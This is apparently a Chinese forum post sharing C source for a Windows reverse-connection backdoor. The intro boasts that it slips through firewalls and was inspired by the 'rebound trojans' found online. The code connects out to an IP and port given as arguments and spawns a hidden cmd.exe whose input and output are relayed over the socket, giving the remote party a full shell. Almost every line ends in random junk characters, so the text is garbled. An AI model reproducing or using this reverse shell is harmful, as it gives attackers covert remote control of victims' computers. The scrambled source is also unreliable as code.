这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %l8nTcL_?
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/* ============================== %*wOJx
Rebound port in Windows NT hr] :bR
By wind,2006/7 +
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===============================*/ 58 Rmq/6s
#include W9ewj:4\0
#include sCF7K=a
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#pragma comment(lib,"wsock32.lib") !rMl" Y[
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void OutputShell(); ^>f jURR
SOCKET sClient; 7,N>u8cTh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C5jR||
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void main(int argc,char **argv) X[
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{ "x$RTuWA9
WSADATA stWsaData; Q9
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int nRet; 1@Zjv>jy[
SOCKADDR_IN stSaiClient,stSaiServer; wh<s#q`
]
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if(argc != 3) (W l5F
{ 32*FI SH^
printf("Useage:\n\rRebound DestIP DestPort\n"); 'ehJr/0&g
return; #815h,nP+
} Rtl;*ZAS
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WSAStartup(MAKEWORD(2,2),&stWsaData); bUp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r&|-6OQZZ
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stSaiClient.sin_family = AF_INET; K$..#]\TM
stSaiClient.sin_port = htons(0); B R-(@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R.EA5X|_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _ .%\czO
{ +jD{O @9
printf("Bind Socket Failed!\n"); U&mJ_f#M
return; r4~Bn7j2
} 5M{DJ/q
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stSaiServer.sin_family = AF_INET; Pb|'f(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LyB$~wZx~@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |WB<yA1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g&*pk5V>
{ xwj%X%2
printf("Connect Error!"); dsP1Zq
return; y/m^G=Q6g#
} nuB@Fkr
OutputShell(); F`ifHO
} w\'Zcw,d
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void OutputShell() xi=qap=S^9
{ O\T
char szBuff[1024]; *Bt`6u.>e,
SECURITY_ATTRIBUTES stSecurityAttributes; KsGS s9
OSVERSIONINFO stOsversionInfo; VX<ZB +R
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b+NF:-fO
STARTUPINFO stStartupInfo; v?yH j-
char *szShell; )T:{(v7 d`
PROCESS_INFORMATION stProcessInformation; ]rDf3_!m(
unsigned long lBytesRead; h@72eav3+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2oAPJUPOJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x, js}Mlw
stSecurityAttributes.lpSecurityDescriptor = 0; sa`7_KB
stSecurityAttributes.bInheritHandle = TRUE; $.}fL;BzVz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I'o9.B8%#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?kew[oZ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1{% EQhNd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2;4Of~
stStartupInfo.wShowWindow = SW_HIDE; qeCx.Z
stStartupInfo.hStdInput = hReadPipe; ]do0{I%\eq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SMQuJ_
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GetVersionEx(&stOsversionInfo); >Ge&v'~_|
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switch(stOsversionInfo.dwPlatformId) QzIK580%t
{ &{* [7Ad
case 1: }Xs=x6Mj
szShell = "command.com"; !>/U6h,_
break; i6r%;ueLb
default: Xt/T0.I
szShell = "cmd.exe"; :>'^l?b'WX
break; w&v_#\T
} 3skq%;%Wsk
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BpCzmU
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send(sClient,szMsg,77,0); 9p(s FQ
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while(1) .*D~ .!
{ E/ (:\Cm^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KS'? DO
if(lBytesRead) :9c
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{ Mno4z/4{A
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xrO:Y!C?
send(sClient,szBuff,lBytesRead,0); c\.4I4uy
} !O)Ruwy
else !$St=!
{ anA>' 63
lBytesRead=recv(sClient,szBuff,1024,0); GS~jNZx
if(lBytesRead<=0) break; %Md;=,a:6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oj@B'j
} 5_M9 T3
} CIQo2~G
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return; br<,?
}